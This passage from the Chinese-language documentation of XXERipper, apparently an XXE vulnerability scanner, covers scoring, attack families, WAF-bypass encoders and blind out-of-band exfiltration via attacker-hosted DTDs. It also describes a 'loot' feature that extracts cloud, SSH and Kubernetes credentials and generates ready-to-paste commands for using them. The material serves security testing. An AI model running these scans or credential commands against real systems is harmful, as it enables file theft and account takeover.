加上十二个范围匹配的安全对应项(`/xml/safe-form`、`/xml/safe-query`、`/xml/safe-svg`、`/xml/safe-saml`、`/xml/safe-soap`、`/xml/safe-multipart`、`/xml/safe-docx`、`/xml/safe-xinclude`、`/xml/safe-xinclude-xml`、`/xml/safe-xslt`、`/xml/safe-xsd`、`/xml/safe-pi`),它们运行与其易受攻击对应项相同的范围检查,但在禁用实体的情况下解析。这十七个端点中任何一个上的发现都是扫描器 bug。
---
## 准确度引擎
带**强制信号门控**的加权评分。每个候选响应都根据统计基线评分。本节详述权重和阈值;[检测方法](#detection-methodology)部分解释了推理。
| 信号 | 权重 |
|---|---|
| 关联 OOB 回调 | +50 |
| 文件内容指纹 | +40(每个额外指标 +5) |
| 链完整性(实体已解析,而不仅仅是声明) | +25 |
| 解析器错误增量(高 / 中 / 低) | +20 / +15 / +5 |
| 时间异常确认 | +20 |
| 窗口化熵异常 | +5 到 +20,按 bits/byte 增量缩放 |
| 未关联 OOB 回调 | +15 |
| 长度增量(≥20% 偏差) | +10 |
| 状态码偏移 | +5 |
| 反射惩罚(存在强信号) | −30 |
| 反射否决(无强信号) | −100 |
| 无变化否决 | −50 |
| 规范化基线匹配 | −75 |
**窗口化熵**使用 256 字节滑动窗口(128 字节步长,前 16 KiB)。仅在 `median_length >= 256` 时触发,仅在向上偏移时触发,且仅在增量超过 0.5 bits/byte 时触发。从阈值处的 +5 扩展到 4.0 bits/byte 处的 +20。
| 分数 | 强制信号 | 独立家族 | 结果 |
|---|---|---|---|
| ≥70 | 是 | ≥2 | **已确认** — CRITICAL |
| 45–69 | 是 | 任意 | **潜在** — HIGH |
| 25–44 | 是 | 任意 | **潜在** — MEDIUM |
| <25 | 是 | 任意 | **理论** — LOW *(已抑制)* |
| 任意 | 否 | 任意 | **理论** — INFO *(已抑制)* |
**时间发现始终是 `potential`,而非 `confirmed`**——时间增量说明目标耗时更长,而不是实体已解析。
### CWE 映射
最长前缀优先查找。XXE 发现携带 CWE-611;信息泄露发现添加 CWE-200;通过实体的 SSRF、XSLT/XSD 获取器以及每个 `XXE-CLOUD-METADATA-*` 发现添加 CWE-918;PHP `expect://` 和 `XXE-RCE-*` 包装器添加 CWE-78;Billion Laughs 是 CWE-776;基于错误的本地 DTD 重用添加 CWE-829;`XXE-SAML-PRESIG` 添加 CWE-347;`XXE-WAF-BYPASS-*` 添加 CWE-693;YAML 反序列化阶段添加 CWE-502。
---
## 攻击技术
十个类别中的三十多个家族。| 类别 | 技术 | 严重性 | CWE |
|---|---|---|---|
| 带内 | 经典文件读取、PHP filter chain、通过实体的 SSRF | CRITICAL | 611, 200, 918 |
| 带内 RCE | PHP `expect://` | CRITICAL | 611, 78 |
| 基于错误 | 本地 DTD 复用、畸形实体 | CRITICAL | 611, 200, 829 |
| 盲注 | DNS OOB、外部 DTD OOB、参数实体 OOB、CDATA 绕过、基于时序 | CRITICAL / HIGH | 611 |
| 编码绕过 | UTF-16、UTF-7、UCS-4、替代 DOCTYPE | HIGH | 611 |
| 替代接收点 | XInclude(`parse='text'`、`parse='xml'`)、SVG 上传、SAML 信封、SOAP 信封 | CRITICAL | 611, 918 |
| 扩展获取器 | XSLT `document()`、XSLT `xsl:include`、XSD `schemaLocation`、XSD `xsd:import`、`xml-stylesheet` PI、Multipart XML 字段、DOCX 上传 | HIGH / CRITICAL | 611, 918 |
| 云元数据 | AWS IMDSv1、AWS IMDSv2(已检测)、AWS IAM 凭证、AWS user-data、GCP token/project、Azure IMDS/managed-identity、Alibaba RAM、OCI、Kubernetes secrets | CRITICAL / HIGH | 611, 918, 200 |
| RCE 包装器 | Java `jar:`、PHP `data://`、PHP `phar://`、PHP `glob://`、PHP `compress.zlib://` | CRITICAL | 611, 78, 200 |
| SAML 签名前 | 断言正文在签名验证之前被解析 | HIGH | 611, 347 |
| JSON 转 XML | 在仅支持 JSON 的端点上切换 Content-type | HIGH | 611, 200 |
| Office 文档 | DOCX/XLSX `xml-stylesheet` PI 被服务端 XSLT 处理器获取 | CRITICAL | 611, 918 |
| YAML 反序列化 | PyYAML `!!python/object/apply`、SnakeYAML `!!javax.script.ScriptEngineManager` | CRITICAL | 502, 611 |
| DoS | Billion Laughs | HIGH | 776 |
**投递向量阶段** 探测超出标准 `POST` + `application/xml` 形态的范围:
- **Content-Type 矩阵** — 在九种 XML 相邻的 content type 下发送经典 payload。许多服务器仅在 Content-Type 匹配时才路由到其 XML 解析器。
- **HTTP 方法变体** — `PUT` 和 `PATCH`。REST API 经常在这些方法上接受 XML,即使 `POST` 仅支持 JSON。
- **查询参数注入** — `?xml=`、`?data=`、`?payload=`、`?input=`。遗留 API 和网关通常以这种方式接受 XML,即使请求体未被解析为 XML。
- **JSON 转 XML 切换** — 一个无害的 XML 探测确定端点是否在其声明的 JSON 之外还接受 `application/xml`。如果没有以 `415` 硬拒绝,扫描器会跟进一个经典的文件读取 payload。这能捕获 classpath 上带有 `jackson-dataformat-xml` 的 Spring MVC(它会在任何 `@RequestBody` 端点上静默接受 XML,无需注解)。
**云元数据** 是一个专门的阶段,而不仅仅是 URL 列表中的一个条目。跨六个提供商的十一个端点会被探测。每个端点都会针对提供商特定的键进行指纹识别(AWS IAM 的 `AccessKeyId`、`SecretAccessKey`、`SecurityToken`;GCP OAuth 的 `access_token`、`expires_in`、`token_type`;Azure 的 `vmId`、`subscriptionId`;等等)。包含凭证标记的响应会被提升为 CRITICAL 并停止进一步探测。**IMDSv2 检测**:状态为 `401` 且正文中包含 `token` 的 AWS 响应会被报告为 `XXE-CLOUD-METADATA-IMDSV2`(HIGH)——SSRF 原语存在,但元数据服务强制要求会话令牌。提取的凭证通过 `LootStore.add_secret` 路由,并落入 WebUI 的 Loot 标签页,附带可直接粘贴的代码片段。
**XXE 转 RCE 包装器** 会针对其特征性成功信号进行探测:
| 包装器 | 信号 |
|---|---|
| Java `jar:file://…!/META-INF/MANIFEST.MF` | `Manifest-Version`、`Main-Class` |
| PHP `data://text/plain;base64,…` | `phpinfo`、`<?php` |
| PHP `phar://…/stub` | `unserialize`、`__PHP_Incomplete_Class` |
| PHP `glob:///etc/*` | 路径列表(`/etc/`、`/root/`、`/usr/`) |
| PHP `compress.zlib://…` | `root:x:`、`daemon:x:` |
**SAML 签名前** — SAML 服务提供商必须在验证签名之前解析断言正文,这正是 CVE-2026-28809(esaml)所暴露的序列。该阶段首先发送一个格式良好但签名故意无效的 SAML 断言;解析器错误或 `200` 表明端点已到达 XML 解析阶段。只有此时才会发送 XXE payload。在 SAML 形态的 URL(`saml`、`sso`、`adfs`、`okta`、`assertion`、`federation`、`idp`、`sts/`、`sp/`)上自动运行,或使用 `--saml` 无条件运行。
**Office 文档 XSLT** — 在某些配置中,服务端文档处理器会遵循 `xml-stylesheet` PI:Word 预览渲染器、PDF 转换器、LibreOffice headless 和 Apache POI XSLF。该阶段构建一个最小 DOCX(或 XLSX),其 `word/document.xml`(或 `xl/workbook.xml`)部分携带指向攻击者控制的 XSLT 的 PI。关联回调证明样式表已被获取。严格意义上与 XXE 不同——这是 XSLT 调用,可链式导致文件泄露(`document('file:///etc/passwd')`)和 SSRF。
**YAML 反序列化** — CWE-502,而非 CWE-611。扫描器附带四个探测:PyYAML `!!python/object/apply:os.system` 和 SnakeYAML `!!javax.script.ScriptEngineManager`,每个都以原始 `application/x-yaml` 正文和 XML 包装器内的形式投递。关联回调证明 RCE。该阶段在首次成功后停止;替代变体只会是噪音。
**文件目标阶段** — 默认按优先级设置 21 条路径;`--full-file-scan` 扩展到 58 条路径,增加 Linux `/proc` 遍历、应用程序源代码和 `.env` 文件、SSH/AWS/GCP 凭证路径、容器标记、`/run/secrets/*`、Kubernetes 服务账户投影,以及 Windows SAM 备份、unattend 文件、IIS 日志和管理员凭证。扫描时去重;没有路径会被探测两次。
**基于错误的发现被拆分**,因为这些技术针对不同的解析器成功:
- `XXE-ERROR-BASED-LOCAL-DTD` — 劫持目标文件系统上已存在的 DTD。使用 libxml2 ≥2.9 接受的外部 DOCTYPE 形式。
- `XXE-ERROR-BASED-MALFORMED` — 在内部子集中声明参数实体,让解析器错误泄露文件。适用于 Xerces 和 .NET;libxml2 在 C 层面拒绝内部子集 PE。
**时序探测** 将实体指向 RFC 5737 TEST-NET-1 地址(`http://192.0.2.1/`),该地址保证不可路由。实体解析会阻塞在解析器的 TCP 连接超时上。
**可选阶段:** `--timing`(每个目标保持三个约 5 秒的连接)、`--unsafe`(Billion Laughs)、`--svg`(上传形态的阶段)、`--saml`(SAML 签名前)、`--full-file-scan`(扩展文件列表)、`--bypass-waf`(见下文)。
---
## 利用链与战利品提取
两个子系统将单个发现转化为叙事。
### 链追踪器
每个通过 `add_finding` 的发现都会通过单一钩子播种链阶段:`_record_chain_stages` 读取发现的 ID 和证据字典,并记录该组合所隐含的任何阶段。带有 `file_type` 证据键的发现记录 `xxe_confirmed`。带有 `loot_id` 的发现记录 `file_content_recovered`。证据包含 `extracted_credentials` 的发现记录 `credential_extracted`;如果凭证是 SSH 私钥,`ssh_key_extracted` 也会触发。以此类推。
定义了十三个链模板。每个都需要一组阶段。当所有必需阶段都存在时,链会触发**一次**(防止并发竞争)并发出一个汇总发现:
| 链 ID | 路径 | 严重性 |
|---|---|---|
| `xxe_inband_file_credential_theft` | XXE → 带内文件读取 → 凭证窃取 | CRITICAL |
| `xxe_imds_iam_aws_takeover` | XXE → IMDS → IAM 凭证 → AWS 账户接管 | CRITICAL |
| `xxe_error_based_file_recovery` | XXE → 基于错误的泄露 → 文件内容恢复 | HIGH |
| `xxe_php_source_disclosure` | XXE → PHP filter → 源代码泄露 | CRITICAL |
| `xxe_rce_chain` | XXE → 协议包装器 → RCE 链确认 | CRITICAL |
| `xxe_blind_oob_confirmed` | XXE → 盲注 OOB 回调确认 | HIGH |
| `xxe_ssrf_internal_enum` | XXE → SSRF → 到达内部服务 | HIGH |
| `xxe_waf_bypass_confirmed` | XXE → WAF 绕过 → 实体解析确认 | HIGH |
| `xxe_kubernetes_cluster_takeover` | XXE → Kubernetes secrets API → 集群凭证窃取 | CRITICAL |
| `xxe_k8s_serviceaccount_token` | XXE → 集群内 SA token 读取 | CRITICAL |
| `xxe_ssh_key_lateral_movement` | XXE → SSH 私钥 → 横向移动原语 | HIGH |
| `xxe_gcp_oauth_token_extraction` | XXE → GCP 元数据 → OAuth token 提取 | CRITICAL |
| `xxe_azure_managed_identity` | XXE → Azure IMDS → managed-identity token | CRITICAL |
汇总发现携带可 JSON 序列化的步骤跟踪、100 的聚合分数和完整长度的原因链。它们像任何其他发现一样出现在 JSON、SARIF 和 HTML 输出中,其 ID 前缀(`XXE-CHAIN-`)被排除在链播种之外,因此它们永远不会循环。
### 战利品存储
每个文件读取发现都通过 `LootStore` 路由,它会:
1. 通过 `FileContentExtractor` 从响应正文中提取原始文件内容。提取器按 `(file_path, fingerprint_type)` 分派:`/etc/passwd` 和 `/etc/shadow` 具有面向行的匹配器,并带有针对泄露路径前缀的解析器错误的行中回退;SSH 密钥使用 PEM 边界;`.env`、`web.ini`、`system.ini`、`boot.ini` 具有 INI 风格匹配器;`web.config` 使用配置元素匹配器;`/proc/self/environ` 处理 NUL 分隔的正文。通用回退从标记响应中提取 `<pre>` / `<textarea>` / `<code>` 块。
2. 截断至 256 KB(凭证在截断前从完整内容中提取)。
3. 按内容的 SHA-256 去重。
4. 对完整内容运行 `CredentialExtractor`。
`CredentialExtractor` 识别七种凭证类型:
| 类型 | 来源 | 置信度 |
|---|---|---|
| `aws_iam`(JSON) | AWS IMDS `AccessKeyId` / `SecretAccessKey` / `Token` | 95 |
| `aws_iam`(INI) | AWS CLI 凭证文件(`aws_access_key_id` / `aws_secret_access_key` / `aws_session_token`) | 90 |
| `alibaba_ram` | 阿里云元数据(`AccessKeyId` / `AccessKeySecret` / `SecurityToken`) | 90 |
| `ssh_private_key` | PEM 私钥块(RSA、OpenSSH、DSA、EC、PKCS#8) | 90 |
| `gcp_service_account` | 服务账户 JSON(`"type": "service_account"` + `private_key_id`) | 85 |
| `oauth_token` | GCP 元数据和 Azure managed-identity 响应(`access_token` + `expires_in` / `expires_on`) | 85 |
| `k8s_sa_token` | Kubernetes `SecretList`(`data.token` base64-JWT)或裸服务账户 token 文件 | 90 |
| `generic_bearer` | 任何 `Bearer <token>` 或 `Authorization: <token>` 匹配,token 长度 24+ 字符 | 40 |
每个凭证都会生成一个可直接粘贴的 shell 代码片段列表:
- **AWS IAM** — `aws sts get-caller-identity` 验证密钥是否仍然有效、`aws s3 ls`、IAM 策略枚举,以及当前 shell 的 `export` 块。
- **Alibaba RAM** — `aliyun sts GetCallerIdentity`、`aliyun oss ls`,以及带有正确 `ALIBABA_CLOUD_*` 环境变量的 `export` 块。
- **SSH 私钥** — 安装、指纹识别,并尝试针对 `github.com` / `gitlab.com` / `bitbucket.org`。
- **GCP 服务账户** — 使用 `gcloud auth activate-service-account` 激活密钥。
- **OAuth 访问令牌** — 针对 Google 的 userinfo 端点(适用于 GCP token)和 Azure 的 subscriptions 端点(适用于 Azure token)的 `curl`。
- **Kubernetes 服务账户 token** — 使用从 JWT 声明中解码的命名空间和服务账户名构建的 `kubectl --token=…` 代码片段,以及一个 `jq` 命令,用于在不验证签名的情况下检查 token 的声明。
- **通用 bearer** — 针对 `httpbin.org/bearer` 的 `curl`,以测试 token 是否仍然有效。
提取的凭证同时附加到发现的证据(`extracted_credentials`)和战利品条目(`credentials`)。WebUI 的 **Loot** 标签页和 Inspector 的 **Overview** 标签页会内联渲染它们,并带有每条命令的复制按钮。HTML 报告将它们包含在 *Extracted loot* 部分下。
完整凭证值出现在 Loot 预览中。掩码在 v1.0.0 中被移除,因为相同的值已经在 Inspector、JSON 输出、SARIF 输出和 HTML 报告中以未掩码形式可见——在一处掩码而在其他地方不掩码毫无意义。
### 跨技术的战利品路由
战利品提取在响应正文包含可解析文件内容的每个发现上运行:
- **带内文件读取** — `/etc/passwd`、`/etc/shadow`、SSH 密钥、`.env` 等。直接从响应中提取。
- **基于错误的泄露** — 文件内容嵌入在解析器错误文本中。行中 `/etc/passwd` 匹配器能捕获它。
- **PHP filter 输出** — 在提取前进行 base64 解码,然后通过凭证提取器路由。
- **XInclude 解析** — 内联内容由同一提取器解析。
- **云元数据响应** — 凭证被提取并通过 `LootStore.add_secret` 路由,生成的战利品 ID 作为 `loot_ids` 附加到发现的证据中。
- **盲注 OOB 外泄** — 当 `--oob-listen` 或 `--oob-dtd-dir` 处于活动状态(或 WebUI 托管的 DTD 服务器)时,回调携带文件内容,`OOBExfilExtractor` 将其提取出来,结果经过与带内读取相同的文件内容和凭证提取器。
盲注外泄路径是改变工具本质的那一个。在此之前,`XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` 只是说“目标获取了我们的 DTD”。在此之后,同一个发现会在其证据中携带 `loot_id`、`extracted_content_preview` 和 `extracted_credentials`,链追踪器看到战利品并可以触发 `xxe_blind_oob_confirmed` → `file_content_recovered` → `credential_extracted`,WebUI Loot 标签页会渲染恢复的文件,并带有与带内读取相同的可直接粘贴代码片段。
---
## 带外确认
XXERipper 使用 **`interactsh-client`** 作为 OOB 后端。有两种模式。
### 手动模式(默认)
扫描器在你的会话域下构建 payload;客户端负责注册、轮询和解密。扫描器从不使用 Interactsh 协议。```bash
# Terminal A
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
# Terminal B
xxeripper https://target.com/api/xml \
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
当扫描完成后,每个目标的摘要中会包含一个 [OOB] 块,列出所有已发送的 payload,并按技术标签分组:```
[1/1] [MANUAL-OOB] https://target.com/api/xml
Parser: libxml2
[!] 3 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[OOB] 7 payload(s) dispatched — watch your interactsh-client terminal
- [xxe-dns] xxe-dns-a1b2c3d4e5f6a7b8.c5f2a9b4e1d8a3f72c0b.oast.pro
DNS-only parameter entity (blind parser fingerprint)
- [xxe-dtd] xxe-dtd-9f8e7d6c5b4a3210.c5f2a9b4e1d8a3f72c0b.oast.pro
External DTD fetch (blind file exfiltration via DTD)
...
当 `interactsh-client` 打印一条交互时,将子域前缀匹配回对应的 `[OOB]` 行。该匹配即为你的确认。
**手动模式不会提取外泄数据。** 在手动模式下,扫描器发送 OOB 载荷后立即返回——它从不读取 interactsh 的输出。外泄的内容在你的 interactsh 终端中可见,而不在扫描器的战利品存储中。当配置了外泄但自动模式关闭时,CLI 横幅和 WebUI 作业运行器都会打印警告。
### 自动模式(`--oob-auto`)
扫描器将 `interactsh-client` 作为子进程启动,读取其 `-json -v` 事件流,提取会话域,并在进程内关联回调。无需第二个终端,无需手动匹配。```bash
xxeripper https://target.com/api/xml --oob-auto
# [*] Starting interactsh-client (--oob-auto)...
# [*] Session domain: c5f2a9b4e1d8a3f72c0b.oast.pro
# [*] Callbacks will be correlated automatically.
回调到达时会立即打印到 stderr:``` [OOB-CALLBACK] dns xxe-dtd-9f8e7d6c5b4a3210 from 203.0.113.42
关联是基于令牌的。扫描器为每个 payload 生成一个唯一的 16 位十六进制令牌,将其嵌入子域名,记录映射关系,并通过令牌匹配传入的回调。如果回调的子域名不包含生成该子域名的 payload 所对应的特定待处理令牌,则该回调会被丢弃,因此无关的 DNS 流量不会被错误归因,且第 *N* 次迭代的慢速回调不会被归因到第 *N+1* 次迭代。关联回调携带完整的 +50 权重,并贡献一个强制信号——它可以单独将发现提升为 CRITICAL(同时满足双家族要求,即 OOB 家族加上链完整性或指纹)。
**批量扫描**在整个运行期间共享一个 `interactsh-client` 进程。每个目标获得自己的 `OOBClient` 视图,拥有自己的令牌集,因此即使使用 `--threads 20`,按目标归因也能保持正确。
**在 Web 控制台中**,勾选 *Auto OOB mode* 会在服务器进程的整个生命周期内生成一个共享的 `interactsh-client`,在第一个自动 OOB 任务时惰性生成,之后复用。多个并发任务共享该域名,但保持独立的令牌集。
### 盲注外带
默认情况下,OOB 发现确认实体解析已发生——回调到达了,令牌证明它是我们的。它不会恢复文件内容。要恢复内容,扫描器需要提供 DTD,使目标将其文件发送到回调 URL。
支持三种 DTD 托管模式:
**内置 DTD 服务器**(`--oob-listen HOST:PORT --oob-public-url URL`):扫描器绑定自己的 HTTP 服务器并按需提供 DTD。最适合测试实验室、同主机扫描,以及目标可以访问扫描器地址的任何环境。
**基于文件的 DTD 服务**(`--oob-dtd-dir PATH --oob-dtd-url-prefix URL`):扫描器将 DTD 文件写入一个目录;你使用 nginx、Apache、`python -m http.server` 或其他任何工具提供该目录。最适合扫描器自身地址不可达的真实远程目标。
**WebUI 托管的 DTD 服务器**:在新扫描抽屉中勾选 **Serve DTDs from this WebUI** 并提供公共 URL 前缀。扫描器在运行控制台的同一 Flask 进程上注册 DTD 到 `/dtd/<token>.dtd`。无需第二个终端,无需 `python -m http.server`,无需单独的目录。用户必须确保目标可以访问 WebUI 的绑定地址——使用 `--host 0.0.0.0` 绑定并提供公共 IP 或主机名。
当外带处于活动状态时,`XXE-BLIND-OOB-EXTERNAL-DTD-CORRELATED` 和 `XXE-CDATA-BYPASS-OOB` 发现会携带提取的文件内容作为战利品。与在带内读取上运行的相同 `FileContentExtractor` 和 `CredentialExtractor` 管道也会在外带字节上运行,因此盲注读取 `/etc/passwd` 会产生与带内读取相同的凭据提取和可直接粘贴的 shell 片段。外带内容出现在 WebUI 的 **Loot** 标签页、OOB 标签页的 `exfiltrated` 块以及 HTML 报告的战利品部分中。
**前提条件。** 目标必须能够访问你的 DTD 服务器。Interactsh 记录回调但不提供内容,因此它不能替代真实的 HTTP 端点。这是盲注 XXE 外带工作原理的固有特性,而非扫描器的限制。
**手动模式不外带。** 外带要求扫描器读取自己的回调流,这仅在 `--oob-auto` 模式下发生。如果你在手动模式下使用 `--oob-listen` 或 `--oob-dtd-dir` 运行,DTD 将被提供,目标将获取它们,目标将把文件内容发送到 interactsh——但扫描器不会提取它,因为它从不读取 interactsh 的输出。外带的数据在你的 interactsh 终端中可见。
### 何时使用哪种
- **手动**是更安全的默认选项。无子进程,无加密握手,并且适用于任何 Interactsh 部署,包括客户端在不同主机上运行的完全气隙协调。
- **自动**对于批量扫描和 CI 更快。一条命令,无需交叉引用。要求 `interactsh-client` 在 `PATH` 中。外带所必需。
**自托管服务器**在两种模式下均可工作,无需任何扫描器端更改——将 `interactsh-client` 指向你的服务器(通过其 `-s` / `-server` 标志,或将二进制文件包装在 shell 别名中),并且在手动模式下,将打印的会话域名传递给 `--oob-domain`。
---
## WAF 绕过编码
`--bypass-waf` 在核心阶段运行*之后*,通过一个或多个编码器重新发送整个 payload 目录。这测试 WAF 是否阻止了经典 payload 形态但放行了转换后的等价物——但它这样做时不会将直接发现隐藏在编码扫描之后。
三个家族共十五种编码器:
**文档编码器**(转换字节流):
| 名称 | 转换 | 备注 |
|---|---|---|
| `utf16be` | 带 BOM 的 UTF-16 BE | 经典的字节流移位。大多数 WAF 将正文解码为 UTF-8 并错过交错的空字节。 |
| `utf16le` | 带 BOM 的 UTF-16 LE | 相同原理,相反字节序。 |
| `utf16decl` | 带 BOM 并重写声明的 UTF-16 BE | 声明被更新为 `encoding="UTF-16"`,以便严格解析器接受它。 |
| `utf16nobom` | 不带 BOM 的 UTF-16 BE,声明已重写 | 一些解析器遵循声明并推断字节序;一些 WAF 使用 BOM 作为解码信号并跳过缺少它的正文。 |
| `utf32be` | 带 BOM 的 UTF-32 BE | WAF 对它的支持比 UTF-16 更少见。 |
| `utf32le` | 带 BOM 的 UTF-32 LE | 相同,相反字节序。 |
| `ebcdic` | EBCDIC CP037 | 几乎没有 WAF 在检查前解码 EBCDIC。libxml2 自动检测它;Xerces 和 .NET 干净地拒绝它。 |
| `ucs4_2143` | UCS-4 字节序 2,1,4,3 | Unicode TR#17 排列。字节模式不匹配任何 UTF-32 BE/LE 签名,因此 WAF 不会解码它。与绕过 PhpSpreadsheet 的 XmlScanner 在 CVE-2024-47873 中相同的顺序。 |
| `utf8bom` | 带 BOM 的 UTF-8 | 边际但免费。击败锚定在 `^<?xml` 的正则表达式。 |
**关键字规避编码器**(转换实体声明):
| 名称 | 转换 | 备注 |
|---|---|---|
| `public` | `SYSTEM "…"` → `PUBLIC "-//x//" "…"` | 有效的 XML。仅匹配 `SYSTEM "file://` 的 WAF 会错过它。 |
| `public_charref` | `SYSTEM` 关键字 → `PUBLIC` 声明内的十六进制字符引用 | 字符引用在 `PubidLiteral` 内展开,但不在 `SystemLiteral` 内展开。解析器将 `SYSTEM` 重新组装为公共 ID;匹配字面字符串的 WAF 会错过它。 |
| `b64_uri` | `SYSTEM "file://…"` → `data:text/plain;base64,…` | 绕过探测,而非文件读取原语——实体解析为 URI *字符串*,而非文件内容。用它来确认 WAF 可以被击败;结合应用层接收器进行提取。 |
**语法级编码器**(有效 XML,击败懒惰的 WAF):
| 名称 | 转换 | 备注 |
|---|---|---|
| `whitespace_pad` | 在 XML 声明中插入 512 个空格 | XML 允许声明伪属性之间的任意空白。仅检查正文前 N 个字节的 WAF 会看到填充的声明,永远无法到达 DOCTYPE。 |
| `doctype_closure` | 在 `]>` 之后添加诱饵注释 | 一些 WAF 解析 DOCTYPE 以定位其结束位置,然后检查剩余部分。在 `]>` 之后插入 XML 注释可以误导该解析器提前退出,从而跳过实体声明。XML 解析器忽略该注释。 |
| `pe_stager` | 实体声明重写为参数实体链 | WAF 看到 `<!ENTITY % stage "…"` 和 `%stage;`,但从未在单个声明中看到 `SYSTEM "file://…"` URI。解析器展开 `%stage`,它声明了真正的实体。适用于任何允许内部子集参数实体的解析器——Xerces 和 .NET 开箱即用;libxml2 仅在构建时解除了内部 PE 限制的情况下。 |
在给定 payload 上输出与输入字节相同的编码器会被跳过(不发送请求)。对于每个存活的(payload × 编码器)组合,会引发一个发现,命名为 `XXE-WAF-BYPASS-<ENCODER>`(对于 OOB 家族为 `XXE-WAF-BYPASS-<ENCODER>-<PAYLOAD>`),或者,对于 OOB 家族,仅在关联回调到达时引发。```bash
# All encoders
xxeripper https://target.com/api/xml --bypass-waf all --oob-auto
# A targeted subset — the five highest-yield encoders
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ucs4_2143,public_charref,whitespace_pad,b64_uri \
--oob-auto
# Also encode custom payloads (skips those using {CALLBACK} / {DOMAIN})
xxeripper https://target.com/api/xml \
--bypass-waf utf16be,ebcdic --bypass-waf-include-custom
阶段排序。 WAF 绕过阶段在核心阶段之后运行,而不是之前。对于能够响应普通 SYSTEM "file://" 载荷的目标,不需要先发送 1,500 个编码变体——直接探测大约 20 个请求就能找到它,而编码扫描是在直接探测被拦截时的后备方案。该阶段仍然使用相同的目录,仍然产生相同的发现结果,并且在设置了 --bypass-waf 时仍然运行;它只是不会把直接命中隐藏在扫描之后。
请求量。 一个约 100 个载荷 × 15 个编码器的目录在最坏情况下每个目标约 1,500 个请求。墙钟时间预算是唯一的节流阀;该阶段在每次发送前检查截止时间并干净地中止。对于大型目标,优先使用指定的编码器子集,而不是 --bypass-waf all。
xxeripper https://target.com/api/xml
--payload '%p;]>'
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--- line)xxeripper https://target.com/api/xml --payload-file my_payloads.xml
xxeripper https://target.com/api/xml --payload-dir ./custom_xxe/
每个文件都会针对每个文件目标进行测试。发现结果会以 `XXE-CUSTOM-<filename>` 的形式归属。自定义载荷通过与内置阶段相同的 OOB 辅助机制进行路由,因此它们的子域和技术标签会出现在 `[OOB]` 检查清单中(手动模式),或触发关联回调(自动模式)。
**Cookies 与 Burp 集成:** cookie 优先级为内联 > cookie 文件 > Burp 请求。同时支持 Netscape-jar 和 `key=value` 格式。Burp 请求会保留方法和端到端头部;逐跳头部以及扫描器管理的 `Cookie`/`Content-Type` 不会被转发。Scheme 从 `Host` 头部、HTTP 版本行以及请求携带的任何 `X-Forwarded-Proto` / `Forwarded` / `:scheme` 头部推导得出。443/8443/9443/10443/6443/7443/4443 → HTTPS;80/8000/8008/8080/8088/8888 → HTTP;未知端口和 HTTP/2 请求默认 → HTTPS。IPv6 主机可被正确解析。
**预认证重放:** `--pre-auth-request FILE` 接收一个 Burp 格式的请求,在基线捕获之前对目标重放一次,并将所有 `Set-Cookie` 头部合并到 jar 中。重复该标志会按顺序重放多个请求,因此两步流程(先获取 CSRF token,再提交凭据 POST)可以正常工作。每次重放的 cookies 可供序列中的下一个请求使用。
**使用自定义载荷绕过 WAF:** `--bypass-waf-include-custom` 将编码器扫描扩展到用户载荷。引用 `{CALLBACK}` 或 `{DOMAIN}` 的自定义载荷会被跳过(经过编码的 OOB 载荷无法通过占位符进行关联)。
---
## 输出格式
### JSON(schema 1.1)```json
{
"schema_version": "1.1",
"tool": "XXE-Ripper",
"summary": { "targets": 1, "vulnerable_targets": 1, "custom_payloads_loaded": 0 },
"results": [{
"url": "https://target.com/api/xml",
"parser_fingerprint": "libxml2",
"findings": [{
"id": "XXE-INBAND-FILE-READ-linux-passwd",
"severity": "CRITICAL",
"title": "In-band XXE file read: /etc/passwd",
"confirmed": true,
"exploitability": "confirmed",
"cwe": ["CWE-611", "CWE-200"],
"cwe_descriptions": ["...", "..."],
"confidence": 85,
"evidence": {
"file_type": "/etc/passwd",
"indicators_matched": 4,
"score": 85,
"loot_id": "file:9a1c...",
"extracted_content_preview": "root:x:0:0:root:/root:/bin/bash\n..."
},
"reasons": ["File fingerprint '/etc/passwd' matched (4 indicators)", "..."]
}],
"loot": [{
"id": "file:9a1c...",
"kind": "file",
"source_path": "/etc/passwd",
"technique": "XXE-INBAND-FILE-READ-linux-passwd",
"content": "root:x:0:0:...",
"size": 2841,
"sha256": "...",
"credentials": []
}],
"loot_counts": { "total": 1, "files": 1, "secrets": 0 },
"oob_payloads_sent": 7,
"oob_subdomains": ["xxe-dns-...oast.pro"],
"oob_observations": [{"technique": "xxe-dns", "subdomain": "...", "note": "..."}]
}]
}
内部 skipped_phases 字段会从序列化的 JSON 中剥离——它是终端覆盖率报告的簿记信息,而非发现项。
每个发现 ID 都会成为一个 SARIF 规则,其 helpUri 指向主要的 CWE 定义。每个发现都会成为一个结果,其 artifactLocation.uri 为目标 URL。额外字段(confidence、cwe、reasons、evidence)承载于 result.properties 中。严重性映射:CRITICAL/HIGH → error,MEDIUM → warning,LOW/INFO → note。
--report-html PATH 写入一个自包含的 HTML 文件。无 CDN 链接、无外部图片、无网络字体。可在任何浏览器中打开,离线渲染效果一致,打印清晰。
章节:
Web 控制台在 /api/jobs/<jid>/report.html 内联提供相同的 HTML 报告(通过 View HTML 按钮),并从 /api/jobs/<jid>/report.html.download 下载(通过 HTML 按钮)。
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
[CRITICAL] [CWE-611,CWE-200] score=85 In-band XXE file read: /etc/passwd CWE: CWE-611 — Improper Restriction of XML External Entity Reference CWE: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor ↳ File fingerprint '/etc/passwd' matched (4 indicators) ↳ Full entity chain resolved ↳ 0 credential(s) extracted from /etc/passwd
---
## 可靠性与覆盖范围
| 功能 | 行为 |
|---|---|
| HTTP/2 协商 | `build_session` 构造一个 `httpx.Client` 并设置 `http2=True`。ALPN 握手在服务器支持时协商 HTTP/2,否则静默回退到 HTTP/1.1。无按目标配置 |
| 按阶段隔离 | 每个阶段都在 `_run_phase` 内运行,该函数捕获任何异常,在 `--debug` 下记录回溯,发出 `phase_error` 事件,并继续到下一阶段 |
| 速率限制 | `--rate N` 强制每个目标请求之间的最小间隔为 `1/N` 秒,由每个发送路径都会查询的共享 `RateLimiter` 实例应用。独立于 `--threads` |
